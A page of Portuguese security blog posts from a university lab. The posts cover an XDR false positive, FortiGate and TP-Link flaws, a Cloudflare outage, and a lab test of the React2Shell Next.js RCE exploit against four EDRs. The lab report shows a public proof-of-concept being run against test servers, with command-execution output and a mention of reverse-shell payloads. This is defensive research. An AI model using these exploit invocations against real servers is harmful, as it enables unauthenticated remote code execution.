Nos últimos dias, fui bombardeado com alertas que indicavam a detecção de um potencial software malicioso em diversos ambientes distintos, pelos quais sou responsável. Até então, mais um dia normal na vida de um analista de SOC. Porém, desta vez, algo estava diferente: coincidentemente, todos os alertas estavam correlacionados e apresentavam os mesmos indicadores e comportamentos, mesmo ocorrendo em ambientes distintos e sem qualquer relação entre si.
Ao analisar a origem desse suposto arquivo malicioso, por meio de pesquisas, cheguei à conclusão de que o executável estava relacionado a um serviço da Microsoft Store presente em endpoints Windows 10 e Windows 11, o que justificava o fato de diversos ambientes não correlacionados apontarem o mesmo EXE como suspeito.
Nesse momento, considerei duas possibilidades. A primeira, e mais crítica: a Microsoft teve essa aplicação comprometida e estaria, involuntariamente, distribuindo malware para o mundo inteiro o clássico “Supply chain attack”. Se fosse esse o caso, “fujam para as colinas!“. A segunda hipótese era a existência de alguma característica ou comportamento potencialmente legítimo do software que estivesse sendo identificado como disruptivo pelo XDR.
Com isso em mente, a melhor abordagem foi buscar outras fontes de dados, a fim de entender se essas detecções já eram conhecidas pela comunidade, vendors e demais analistas. Assim eu fiz. Após alguns minutos de pesquisa, observei que outros analistas, que operavam soluções de XDR alternativas, enfrentavam o mesmo problema, um número considerável de alertas indicando que o software da Microsoft estava sendo reconhecido e classificado como malware. A princípio, isso é um fator preocupante, pois aumenta a probabilidade de o arquivo ser realmente malicioso. No entanto, ao me aprofundar ainda mais, identifiquei em um fórum oficial da Microsoft a provável justificativa para o motivo de as soluções de segurança estarem realizando essa detecção, segundo o próprio vendor.
O arquivo executável passou a apresentar uma estrutura de código com seções de alta entropia e uso de packers, recurso comumente empregado em softwares maliciosos, pois é utilizado para proteger o código da aplicação e dificultar a engenharia reversa por parte dos analistas de Malware. colher as informações oficiais do fabricante foram um ponto chave para a finalização destes alertas.
Após a resolução de todas as questões relacionadas a esses incidentes e a classificação deles como falso positivo, surge a pergunta: O XDR errou? Apesar de a resposta parecer óbvia, vale analisar os fatos. A ferramenta foi criada para identificar comportamentos e ações suspeitas em qualquer executável, independentemente de assinatura digital, hash ou processo pai. Sua principal função é atuar como uma sirene para o analista. Essencialmente, ela não valida se a atividade representa um incidente real, pois, embora possua estratégias de mitigação associadas, essa não é sua função principal.
A decisão final sempre será do analista. Mesmo em cenários de automação utilizando SOAR, este fato se aplica, afinal, é o analista quem cria o playbook a ser executado. Portanto, nunca confie 100% na ferramenta, independentemente de sua classificação ou ranking no mercado. A máquina não faz nada por si só; ela apenas executa exatamente aquilo para o qual foi projetada. O bom analista é, e sempre será, aquele que reconhece isso e busca desenvolver as habilidades técnicas necessárias para absorver todas as informações fornecidas pelas ferramentas e, somente após uma análise minuciosa, identificar se determinado incidente é ou não verdadeiro.
Graduado em Análise e Desenvolvimento de Sistemas pela Universidade Paulista, e Pós-graduando em “Defensive Cyber Security” pela FIAP, atua como N1 no time de SOC da CYLO, é responsável por realizar a primeira análise e resposta de incidentes cibernéticos, realizou capacitações no campo de SOC/CSIRT, tendo como destaque os treinamentos promovidos pela CERT.BR em conjunto com a instituição Carnegie Mellon University “Foundations of Incident Management” e “Advanced Topics in Incident Handling”
Apesar das atualizações, os dispositivos FortiGate permanecem vulneráveis e com explorações ativas.
A Fortinet identificou que o patch para as correções anteriores CVE-2025-59718 e CVE-2025-59719 não foi suficiente para mitigar totalmente o vetor de ataque e que permite o bypass de autenticação sem credenciais validas. Atacantes estão explorando as vulnerabilidades para alterar a configuração do firewall, criar contas maliciosas ou exfiltrar dados sensíveis.
Segue sugestões para a mitigação recomendadas pela Fortinet:
Limitar os IPs que podem acessar à interface de gerenciamento do firewall.
Artur Spadoni | artur.spadoni@acmesecurity.org | 12/12/2025
1. Introdução
Como já discutido em uma postagem anterior aqui no “O Diário” O React é uma biblioteca gratuita e open-source para JavaScript, amplamente utilizada na construção de interfaces web modernas. Embora originalmente projetado para execução no lado do cliente, suas versões mais recentes passaram a integrar mecanismos de renderização no servidor por meio dos React Server Components, suportados pelo React Flight Protocol. Essa adoção massiva faz com que vulnerabilidades em seu ecossistema, especialmente nas camadas server-side introduzidas recentemente, possam ter impactos significativos. É o caso da vulnerabilidade apelidada “React2Shell”, catalogada como CVE-2025-55182 pela National Vulnerability Database (NVD) em 3 de dezembro de 2025.
Este relatório tem como objetivo apresentar e demonstrar uma Prova de Conceito (PoC) pública relacionada à CVE-2025-55182, como esta pode ser explorada e o porquê de ser alarmante e crítica.
Além disso, investigamos e descobrimos que, de 4 EDRs padrões de mercado testados, 3 deles não conseguiram detectar ou bloquear o ataque.
Serão descritos:
Aspectos técnicos da vulnerabilidade;
Um método de exploração em ambiente controlado; e
Como plataformas de monitoramento são essenciais para a mitigação de ataques cibernéticos.
2. Visão Geral
A CVE-2025-55182 é uma vulnerabilidade de execução remota de código (RCE) que afeta aplicações que utilizam React Server Components por meio do React Flight Protocol, incluindo frameworks como o Next.js até a versão 16.0.6. A falha permite que um atacante execute comandos arbitrários no servidor enviando payloads maliciosos em requisições POST. A exploração ocorre devido à forma inadequada como o servidor desserializa estruturas recebidas pelo RFP: as funções responsáveis pela reconstrução dos modelos, em especial reviveModel(), não validam corretamente objetos contendo o campo __proto__ e cadeias de métodos then. Isso possibilita a introdução de um pseudo-objeto capaz de manipular o protótipo e acessar o construtor global Function, utilizado para executar comandos do sistema operacional sem autenticação ou privilégios adicionais.
2.1. Detalhes Técnicos
De acordo com indicadores oficiais, os seguintes detalhes foram levantados:
Categoria
Detalhes
Severidade
CVSS 3.x: 10.0 (Critica)
Data de publicação
3 de dezembro de 2025
Complexidade de exploração
Baixa – Requer requisição POST para um servidor vulnerável
Produto afetado
React 19, Next.js 15.0.0 a 16.0.6
Fraqueza Associada
CWE-502 – Desserialização de informação não confiável
Pontuação EPSS
1`3.40 % (em 08/12/2025) 77.80% (em 10/12/2025) 76.01% (em 11/12/2025)
Patch de correção
Pacote NPM (lançado 5 de dezembro de 2025, 06h29 UTC)
Setores Alvos
E-commerce, SaaS, Fintech, Plataformas de Streaming
2.2. Principal Vetor
O principal vetor de exploração da CVE-2025-55182 consiste no envio de requisições POST contendo payloads maliciosos que se passam por objetos válidos do React Flight Protocol. Esses payloads utilizam pseudo-objetos, incluindo estruturas manipuladas com campos como __proto__ e cadeias then, que exploram a desserialização insegura realizada pelo servidor. Ao aceitar e processar esses objetos sem validação adequada, o RFP permite que o atacante desencadeie execução arbitrária de código no ambiente server-side.
2.3. Grupos de Criminosos
Segundo a equipe de threat intelligence da Amazon, diversos atores de ameaça classificados como China-nexus, incluindo Earth Lamia e Jackpot Panda, iniciaram a exploração da CVE-2025-55182 poucas horas após sua divulgação em 3 de dezembro de 2025. Em análises de casos semelhantes envolvendo vulnerabilidades de desserialização e execução remota de código. A Unit 42 observou que esses grupos tendem a desenvolver rapidamente variantes próprias dos exploits, ajustando payloads e técnicas de obfuscar para aumentar a taxa de sucesso e reduzir a detecção. Esse padrão, já documentado pela Unit 42 em outras campanhas com perfis similares, reforça a probabilidade de múltiplos atores terem adaptado rapidamente a PoC pública para explorar React2Shell de diferentes maneiras.
3. Explorando a CVE-2025-55182
Foram utilizados 5 ambientes de laboratório, a fim de simular ambientes vulneráveis e um atacante para testar o comportamento da CVE-2025-55182 e avaliar a competência de diferentes monitoradores de dispositivos (EDRs – Endpoint Detection and Response).
Os ambientes propositalmente vulneráveis foram configurados com sistema operacional Windows 11 e utilizando a versão vulnerável Next.js 16.0.0 para o web-server, totalizando 4 ambientes com soluções de EDR distintas (os nomes dos EDRs não serão divulgados). Para simular o atacante utilizou-se o Kali Linux sem modificações.
IMPORTANTE: Note que nosso foco foi pesquisar EDRs, portanto, propositalmente, não foram utilizadas outras camadas de proteção, tais como WAF ou firewall local. Note também que o ataque não seria possível caso o Next.js já tivesse sido atualizado, ou seja, a aplicação de path é uma das camadas de segurança capaz de deter esse ataque.
Os testes e ensaios foram realizados entre os dias 8 a 12/12/2025 no laboratório ACME! Cybersecutiry Research, na UNESP de São José do Rio Preto. Todos os experimentos foram repetidos 3 vezes para verificação de erros.
3.1. Construção do Exploit e Criação do Payload
A exploração foi realizada utilizando a PoC disponibilizada publicamente no GitHub em 4 de dezembro de 2025 pelo engenheiro de software Moritz Sanft (“msanft”). A PoC é composta por um script em Python responsável por construir o payload malicioso e enviá-lo a um servidor vulnerável. O repositório também inclui a pasta test-server, contendo um ambiente mínimo baseado em Next.js com React Server Components, utilizado para demonstrar a vulnerabilidade em funcionamento
De forma resumida, as etapas adotadas no laboratório foram as seguintes:
Instalar o Node.js e Next.js, nas versões vulneráveis nos ambientes alvo, garantindo que o projeto com RSC esteja devidamente configurado.
Acessar a pasta test-server ou o diretório correspondente pelo terminal, e executar o comando ‘npm run dev’ para iniciar o servidor.
No ambiente ofensivo (Kali Linux), executar o script ‘poc.py’ fornecido na PoC, informando argumentos necessários, simulando a execução remota.
PS C:\Users\[username]\Desktop\CVE2025-55182\test-server> npm install next
up to date, audited 357 packages in 3s
141 packages are looking for funding
run `npm fund` for details
1 critical severity vulnerability
Figura 1 – Node.js indicando vulnerabilidade crítica; note que a versão utilizada está, de fato, exposta.
3.2. Execução da PoC
O script da PoC (poc.py) aceita dois argumentos chaves, endereço IPv4+Porta (por exemplo, “127.0.0.0:80”) seguido pelo comando shell desejado ou payload (“whoami” ou até um reverse shell). Durante a execução no ambiente Kali Linux, o script constrói o ‘chunk’ serializado do Flight Protocol abusando da falha de desserialização, anexando a poluição do proto e o objeto “then-ável” que dispara durante a resolução do servidor nos ambientes.
┌─(kali@kali)-[~]└─$ python3 PoC_react/poc.py "http://172.31.222.25:3000" "echo pwnd by sylvester"500:N176530853660.8210:{"a":"$@1","f":"","b":"development"}1:D["time":0.649100000002363Z]1:E["digest":"pwnd by sylvester","name":"Error","message":"NEXT_REDIRECT","stack":[],"env":"Server","owner":null]┌─(kali@kali)-[~]└─$ python3 PoC_react/poc.py "http://172.31.222.25:3000" "dir"500:N176530855033Z.1970:{"a":"$@1","f":"","b":"development"}1:D["time":0.465700000006519]1:E["digest":"Volume in drive C has no label.\r\n Volume Serial Number is E86C-A9DF\r\n\r\n Directory of C:\Users\fantomas\Drive\PoC-2025-5-3-mail-main\test-server\n\n 12/09/2025 04:23 PM <DIR> . 12/09/2025 04:23 PM -0 .gitignore\r\n12/09/2025 04:28 PM 480 .gitignore\r\n12/09/2025 04:23 PM <DIR> next\r\n12/09/2025 04:23 PM 465 eslint.config.mjs\r\n12/09/2025 04:28 PM 257 next-env.d.ts\r\n12/09/2025 04:23 PM 1 33 next.config.ts\r\n12/09/2025 04:28 PM <DIR> node_modules\r\n12/09/2025 04:28 PM 227,243 package-lock.json\r\n12/09/2025 04:23 PM 567 package.json\r\n12/09/2025 04:23 PM <DIR> public\r\n12/09/2025 04:23 PM 1,450 README.md\r\n12/09/2025 04:23 PM 338,468 bytes\r\n12/09/2025 04:23 PM 0 File(s) 107,770,0 97,664 bytes free","name":"Error","message":"NEXT_REDIRECT","stack":[],"env":"Server","owner":null]
Figura 2 – Disparo da PoC pelo atacante
Invalid source map. Only conformant source maps can be used to find the original code. Cause: Error: sourceMapURL could not be parsed✖ Error: NEXT_REDIRECT at ignore-listed frames { digest: 'Volume in drive C has no label.\r\n' +'Volume Serial Number is E86C-A9DF\r\n' +'\r\n' +'Directory of C:\\Users\\jubaluba\\lala\\CVE-2025-55182-main\\test-server\r\n' +'\r\n' +'12/09/2025 04:28 PM <DIR> .\r\n' +'12/09/2025 04:23 PM <DIR> ..\r\n' +'12/09/2025 04:23 PM 480 .gitignore\r\n' +'12/09/2025 04:28 PM <DIR> .next\r\n' +'12/09/2025 04:23 PM <DIR> app\r\n' +'12/09/2025 04:23 PM 107,113 bun.lock\r\n' +'12/09/2025 04:23 PM 465 eslint.config.mjs\r\n' +'12/09/2025 04:28 PM 257 next-env.d.ts\r\n' +'12/09/2025 04:23 PM 133 next.config.ts\r\n' +'12/09/2025 04:28 PM <DIR> node_modules\r\n' +'12/09/2025 04:28 PM 227,243 package-lock.json\r\n' +'12/09/2025 04:23 PM 567 package.json\r\n' +'12/09/2025 04:23 PM 94 postcss.config.mjs\r\n' +'12/09/2025 04:23 PM <DIR> public\r\n' +'12/09/2025 04:23 PM 1,450 README.md\r\n' +'12/09/2025 04:23 PM 666 tsconfig.json\r\n' +' 10 File(s) 338,468 bytes\r\n' +' 6 Dir(s) 107,770,097,664 bytes free'}POST / 500 in 43ms (compile: 4ms, render: 39ms)
Figura 3 – Execução remota no servidor
File "/usr/lib/python3/dist-packages/requests/sessions.py", line 589, in request resp = self.send(prep, **send_kwargs)File "/usr/lib/python3/dist-packages/requests/sessions.py", line 703, in send r = adapter.send(request, **kwargs)File "/usr/lib/python3/dist-packages/requests/adapters.py", line 682, in send raise ConnectionError(err, request=request)requests.exceptions.ConnectionError: ('Connection aborted.', ConnectionResetError(104, 'Connection reset by peer'))┌─(kali@kali)-[~]└─$ python3 PoC_react/poc.py "http://172.31.222.21:3000""dir" █
Figura 4 – Mensagem de erro no ambiente atacante após ser interceptado
3.4 Consideraçõe éticas e créditos
Todos os testes foram feitos em rede isolada de laboratório, com versões fora de produção (React 19.00 – 19.2.0), e divulgadas apenas após mitigação; pesquisadores devem creditar devidamente a PoC utilizada, neste caso a Moritz Sanft, e aderir divulgações similares.
O PoC de Sanft explora uma aplicação Next.js padrão (criada via create-next-app), enviando payloads em parâmetros como “0” e “1” para manipular chunks de resposta e executar comandos como “id > /tmp/pwned” via child_process.execSync. Diferente de PoCs iniciais não funcionais (como ejpir/CVE-2025-55182-poc), o código de Sanft foi amplamente adotado em scans reais, precedendo o PoC oficial de Lachlan Davidson.
O repositório oficial é https://github.com/msanft/CVE-2025-55182, contendo explicação detalhada e código completo de RCE para React Server Functions em Next.js. Foi lançado em 4 de dezembro de 2025.
4. Resultados e Observações
Nos testes realizados com os ambiente, observou-se o seguinte comportamento:
Dos 4 agentes de proteção (EDRs) testados, apenas um conseguiu detectar e impedir a atividade maliciosa em tempo real. O agente gerou alertas específicos:
O Monitorador de Rede bloqueou uma tentativa de ataque.
– A tentativa mal-intencionada Exploit.CommandInjection.299[…]
– A tentativa mal-intencionada Exploit.HTTP.CVE-2025-55182[…]
Os alertas identificaram o exploit, a CVE relacionada e o local sendo atacado, além de impedir o ataque. Para os outros 3 ambientes testados, o payload foi extraído sem qualquer alerta, demonstrando a criticidade e evidenciando a necessidade de reforçar os EDR’s com métodos de mitigação, adequados a esta vulnerabilidade, e outras camadas de segurança.
A tabela a seguir resume os resultados observados:
Ambiente
EDR/Antivírus
Execução do Ataque
Alertas?
Bloqueio?
1
EDR XPToA
Sucesso
Não
Não
2
EDR XPToB
Sucesso
Não
Não
3
EDR XPToC
Sucesso
Não
Não
4
EDR XPToD
Bloqueado
Sim
Sim
4.1. Sobre os ambientes que não perceberam qualquer atividade
Os resultados de execução imediata do comando confirmam a necessidade de apenas acessar a rede, dispensando autenticação ou elevação de privilégios, o que permite inferir que a exploração ocorre como um ponto cego nos sistemas que ainda não possuem assinaturas ou modelos de detecção ajustados para o protocolo Flight ou requisições POST em geral.
4.2 Sobre o ambiente que detectou e bloqueou o ataque
Os alertas foram precisos e mencionaram explicitamente a tentativa de injeção de comando, exploração vinculada ao CVE-2025-55182 e a identificação do endpoint alvo. Isso confirma a eficiência e necessidade de agentes monitoradores atualizados e competentes para a segurança de servidores abertos à Internet, uma vez que não é possível prever o surgimento de toda vulnerabilidade capaz de destruir o sistema alvo.
5. Conclusões
A vulnerabilidade CVE-2025-55182 apresenta características típicas de uma falha altamente explorável, combinando baixa complexidade, impacto máximo, exploração silenciosa e ampla superfície de ataque (React + Next.js).
Os resultados laboratoriais evidenciam que assinaturas tradicionais não são suficientes para detectar o ataque — detecção comportamental em nível de processo e rede é determinante para identificar anomalias — e explicam o curto intervalo de tempo entre divulgação e exploração, pela facilidade desta, com grupos ativamente desenvolvendo variantes.
Ambientes que dependem apenas do antivírus nativo ou ferramentas desatualizadas ficam completamente expostos.
6. Mitigação e Recomendações
Para mitigar a vulnerabilidade CVE-2025-55182, recomenda-se:
Atualizar o Next.js para versão 16.0.7 ou superior – Sendo a ação mais crítica e urgente para todos os ambientes de produção.
Monitorar eventos ou tentativas de execução de payload – Implementar regras de detecção em plataformas EDR para identificar requisições POST suspeitas direcionadas a Server Functions.
Implementar Web Application Firewall (WAF) com regras para detectar chaves com ‘$’ e ‘:’ já que são características de ataques abusando dessa vulnerabilidade.
Manter logs detalhados de requisições POST e analisar regularmente para atividades suspeitas.
Realizar auditorias de segurança em aplicações React/Next.js para identificar potenciais pontos de exposição.
Caso necessário, é possível atribuir um limite de recursos ao processo do Node.js, isolar em containers (Hardening) ou feature flags para desativar parcialmente a RSC onde não for necessária.
REFERÊNCIAS
[1] NIST National Vulnerability Database, “CVE-2025-55182,” NVD, 3 de dezembro de 2025. [Online]. Disponível em: https://nvd.nist.gov/vuln/detail/CVE-2025-55182. [Acessado em: 10-Dez-2025].
[2] msanft, “CVE-2025-55182,” GitHub, 4 de dezembro de 2025. [Online]. Disponível em: https://github.com/msanft/CVE-2025-55182. [Acessado em: 10-Dez-2025].
[3] CJ Moses, “China-nexus cyber threat groups rapidly exploit React2Shell vulnerability (CVE-2025-55182),” Amazon Security Blog, 4 de dezembro de 2025. [Online]. Disponível em: https://aws.amazon.com/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/. [Acessado em: 10-Dez-2025].
[4] Rapid7, “React2Shell (CVE-2025-55182) – Critical unauthenticated RCE affecting React Server Components,” Rapid7 Blog, 4 de dezembro de 2025 (lançamento); 8 de dezembro de 2025 (atualização). [Online]. Disponível em: https://www.rapid7.com/blog/post/etr-react2shell-cve-2025-55182-critical-unauthenticated-rce-affecting-react-server-components/. [Acessado em: 10-Dez-2025].
Nessa manhã de 18 de novembro de 2025, uma instabilidade global no serviço da Cloudflare causou interrupções generalizadas, afetando o acesso a grandes plataformas como o ChatGPT, X (antigo Twitter) e Canva [2]. Usuários no Brasil e no mundo relataram dificuldades de acesso e mensagens de erro, como a notificação “Please unblock challenges.cloudflare.com to proceed”.
Não há evidências de que a instabilidade da Cloudflare em 18 de novembro de 2025 tenha sido causada por um ataque cibernético. Com base nas declarações oficiais da empresa e nas análises de especialistas, o incidente parece estar relacionado a problemas internos de infraestrutura.
A falha, que começou por volta das 8h da manhã no horário de Brasília, foi atribuída pela Cloudflare a um “pico de tráfego incomum” em sua rede [1].
Se você receber a mensagem “Please unblock challenges.cloudflare.com to proceed“, não é necessário fazer nada. Esta é uma mensagem de erro relacionada à instabilidade interna da Cloudflare, e não um problema de bloqueio no seu dispositivo ou rede.
Veja no final dessa postagem, há um timeline a respeito dessa instabilidade.
Entretanto, este cenário evidencia a profunda dependência da internet global em um número restrito de provedores de infraestrutura. A Cloudflare, que gerencia aproximadamente 20% de todo o tráfego da web, atua como uma camada essencial de segurança e desempenho para milhões de sites [2]. Uma falha em seus sistemas, mesmo que temporária, tem um efeito cascata imediato e visível para usuários em todo o mundo.
O Ataque Recorde à Azure e a Ameaça Crescente das Botnets
Coincidentemente, a instabilidade da Cloudflare ocorreu no dia seguinte à divulgação, pela Microsoft, de detalhes sobre um ataque de negação de serviço (DDoS) de escala recorde que sua plataforma Azure sofreu. Em 24 de outubro de 2025, a infraestrutura da Azure mitigou com sucesso um ataque que atingiu um pico de 15.72 Tbps, originado pela botnet Aisuru [3].
Ainda que alguns veículos estejam especulando que esses eventos estão relacionados, ainda não, até o momento da escrita desse post, nenhuma evidência ou confirmação disso.
Este ataque massivo envolveu mais de 500.000 dispositivos IoT comprometidos, como roteadores e câmeras, e destaca o poder destrutivo que as botnets modernas podem alcançar. Embora a Microsoft tenha conseguido neutralizar a ameaça sem impacto para seus clientes, o episódio serve como um forte indicativo da crescente sofisticação e escala dos ataques cibernéticos contra a infraestrutura de nuvem 3.
Confusão com o Ataque à Azure
Uma fonte significativa de confusão é que duas grandes notícias de cibersegurança foram divulgadas quase simultaneamente:
Notícia 1: Instabilidade da Cloudflare (18 de novembro de 2025)
• Evento atual, em andamento.
• Causa: Pico de tráfego incomum, origem desconhecida.
• Impacto: Interrupção de serviços globais.
Notícia 2: Ataque DDoS à Azure (divulgado em 17-18 de novembro de 2025)
• Evento ocorrido em 24 de outubro de 2025.
• Causa: Ataque DDoS da botnet Aisuru.
• Resultado: Microsoft mitigou com sucesso, sem impacto aos clientes
Importante: O ataque à Azure ocorreu há quase um mês e foi mitigado com sucesso. A Microsoft apenas divulgou os detalhes técnicos do ataque nesta semana. Não há conexão entre o ataque à Azure e a instabilidade da Cloudflare.
Um Alerta para a Infraestrutura Crítica da Internet
Como dito, embora não haja, até o momento, nenhuma evidência que conecte a instabilidade da Cloudflare ao ataque contra a Azure, a ocorrência de dois eventos de tão grande magnitude em um curto espaço de tempo é um alerta contundente. Ambos os incidentes, cada um à sua maneira, expõem as vulnerabilidades inerentes à arquitetura centralizada da internet moderna.
A dependência de poucos grandes players, como Cloudflare, AWS e Azure, significa que uma falha técnica ou um ataque bem-sucedido pode ter consequências globais. A resiliência da internet depende da capacidade dessas empresas de não apenas inovar em segurança e desempenho, mas também de responder rapidamente a incidentes inevitáveis.
Para empresas e desenvolvedores, a lição é clara: a resiliência digital não pode ser terceirizada por completo. É fundamental adotar práticas de contingência, como arquiteturas multi-cloud, monitoramento proativo e planos de resposta a incidentes, para garantir a continuidade dos negócios diante de um cenário de ameaças e falhas cada vez mais complexo.
13:35 UTC (10:35 AM horário de Brasília): A empresa continua trabalhando na restauração dos serviços para clientes de serviços de aplicação. Alguns serviços já foram restaurados, mas o trabalho de recuperação ainda está em andamento.
13:13 UTC (10:13 AM horário de Brasília): A Cloudflare implementou mudanças que permitiram a recuperação do Cloudflare Access e do WARP. Os níveis de erro para usuários desses serviços retornaram às taxas anteriores ao incidente. O acesso WARP em Londres foi reabilitado.
13:09 UTC (10:09 AM horário de Brasília): O problema foi identificado e uma correção está sendo implementada.
12:21 UTC (9:21 AM horário de Brasília): A empresa reportou que os serviços estavam se recuperando, mas os clientes ainda poderiam observar taxas de erro acima do normal durante os esforços de remediação.
11:48 UTC (8:48 AM horário de Brasília): Início da investigação oficial do problema, confirmando degradação interna do serviço.
Adriano Mauro Cansian, Doutor em Física Computacional e Professor Associado e pesquisador da UNESP – Universidade Estadual Paulista, possui 30 anos de experiência em pesquisa, desenvolvimento e ensino de segurança cibernética. Fundador e coordenador do Laboratório ACME! Cybersecurity Research, e revisor das revistas “Computers & Security” e “International Journal of Forensic Computer Science“, consultor e membro de vários comitês e organizações técnicas para promover a pesquisa em segurança da informação, além de atuar como voluntário em organizações de governança da Internet.
Nos últimos dias, a comunidade de segurança da informação voltou sua atenção para uma vulnerabilidade crítica que afeta roteadores da TP-Link, um dos fabricantes mais populares de equipamentos de rede do mundo.
Ainda que eu não acredite que essa vulnerabilidade sozinha possa representar grande risco para atores que não sejam de alto interesse, o uso combinado dessa vulnerabilidade com outras pode levar algum risco significativo, principalmente para pequenos negócios. De qualquer forma, não é bom ficar com vulnerabilidades em sua casa ou na sua empresa. Então, vamos explicar do que ela se trata e como mitigá-la, visto que o produto é descontinuado e ela não terá conserto definitivo.
A falha, identificada como CVE-2023-50224 está sendo ativamente explorada por agentes maliciosos, o que levou a Agência de Segurança Cibernética e de Infraestrutura dos EUA (CISA) a incluí-la em seu catálogo de vulnerabilidades conhecidas e exploradas (KEV). Não é uma vulnerabilidade teórica. A exploração ativa desta falha é antiga e remonta a 2023, sendo atribuída a uma botnet com objetivos de espionagem.
Análise da vulnerabilidade CVE-2023-50224
Descrição: trata-se de uma vulnerabilidade de evasão de autenticação por spoofing no serviço httpd do roteador TP-Link TL-WR841N. A falha permite que um atacante acesse o arquivo /tmp/dropbear/dropbearpwd, que contém credenciais de usuário, sem precisar de autenticação. Essencialmente, a vulnerabilidade abre uma porta para o roubo de senhas do roteador.
Produtos afetados: O principal produto afetado é o TP-Link TL-WR841N, um modelo extremamente popular e amplamente utilizado em residências e pequenos escritórios. Infelizmente, este modelo é considerado End-of-Life (EoL), o que significa que o fabricante não fornecerá mais atualizações de firmware para corrigir a falha.
Data de publicação: A vulnerabilidade foi divulgada publicamente em 19 de dezembro de 2023, mas foi adicionada ao catálogo KEV da CISA em 3 de setembro de 2025, após a confirmação de exploração ativa.
Severidade: Média (CVSS v3.1: 6.5 - AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N). Embora a pontuação não seja classificada como “Crítica”, o impacto real, se explorada, é extremamente alto devido à facilidade de exploração e ao fato de levar ao comprometimento total do dispositivo.
EPSS: 4.50% (baixa probabilidade de exploração nos próximos 30 dias).
Percentil EPSS: 88.70% indica que a pontuação é igual ou superior à de aproximadamente 88.7% das outras vulnerabilidades catalogadas, representando um risco significativamente elevado. Entenda mais sobre “percentil” no EPSS [nesse link].
Outras informações: A exploração desta vulnerabilidade está associada à botnet Quad7 (também conhecida como CovertNetwork-1658), que tem sido ligada a grupos de ameaças com objetivos de espionagem. Em vez de usar os roteadores para ataques de negação de serviço (DDoS), os atacantes os transformam em proxies secretos para lançar outros ataques, como roubo de credenciais de serviços em nuvem (Microsoft 365, etc.).
O Impacto Real: O Que Significa Para Você?
O comprometimento de um roteador vai muito além da simples perda de acesso à internet. Um atacante com controle sobre seu roteador pode:
Interceptar todo o seu tráfego de internet: Isso inclui senhas, dados bancários, e-mails e qualquer outra informação não criptografada que passe pela sua rede.
Redirecionar seu tráfego para sites falsos: O atacante pode realizar ataques de phishing em nível de rede, redirecionando você para um site falso do seu banco, por exemplo, para roubar suas credenciais.
Usar sua rede para atividades ilegais: Como mencionado, os roteadores comprometidos estão sendo usados como uma rede de proxies para lançar ataques contra outras vítimas. Isso significa que sua rede pode ser implicada em atividades criminosas.
Atacar outros dispositivos na sua rede: O roteador pode ser usado como um ponto de partida para atacar outros dispositivos conectados à sua rede local, como computadores, smartphones e dispositivos de IoT (câmeras, assistentes de voz, etc.).
O fato de o TP-Link TL-WR841N ser um dispositivo EoL agrava enormemente o risco. Não haverá uma correção oficial do fabricante. Se você possui este roteador, ele permanecerá vulnerável para sempre.
Recomendações: O Que Fazer Agora?
Dado o risco e a falta de um patch, a recomendação é clara e urgente.
Mitigação Primária (Ação Imediata)
Substitua o roteador imediatamente: Esta é a única maneira de garantir que sua rede esteja protegida contra esta vulnerabilidade. Desconecte o TP-Link TL-WR841N e substitua-o por um modelo de um fabricante confiável que ainda receba atualizações de segurança.
Mitigações Secundárias (Medidas Paliativas)
Se a substituição imediata não for possível, tome as seguintes medidas para reduzir o risco, mas entenda que elas não eliminam a vulnerabilidade:
Desative o gerenciamento remoto: Certifique-se de que o painel de administração do seu roteador não esteja acessível a partir da internet (WAN).
Altere a senha do administrador: Use uma senha forte e exclusiva. Embora a vulnerabilidade permita o roubo dessa senha, alterá-la pode dificultar o acesso se o atacante ainda não tiver explorado a falha.
Isole a rede: Se possível, crie uma rede de convidados (Guest Network) para dispositivos menos confiáveis e use a rede principal somente para dispositivos essenciais.
Conclusão
Verifique o modelo do seu roteador. Se for um TP-Link TL-WR841N, é recomendado que você adote as medidas de mitigação. A CVE-2023-50224 é um lembrete dos perigos associados ao uso de hardware de rede desatualizado. Roteadores são a porta de entrada para a internet e, quando comprometidos, colocam toda a sua vida digital em risco. A exploração ativa desta falha por grupos organizados mostra que mesmo vulnerabilidades de severidade “Média” podem ter consequências devastadoras no mundo real.
Adriano Mauro Cansian, Doutor em Física Computacional e Professor Associado e pesquisador da UNESP – Universidade Estadual Paulista, possui 30 anos de experiência em pesquisa, desenvolvimento e ensino de segurança cibernética. Fundador e coordenador do Laboratório ACME! Cybersecurity Research, e revisor das revistas “Computers & Security” e “International Journal of Forensic Computer Science“, consultor e membro de vários comitês e organizações técnicas para promover a pesquisa em segurança da informação, além de atuar como voluntário em organizações de governança da Internet.
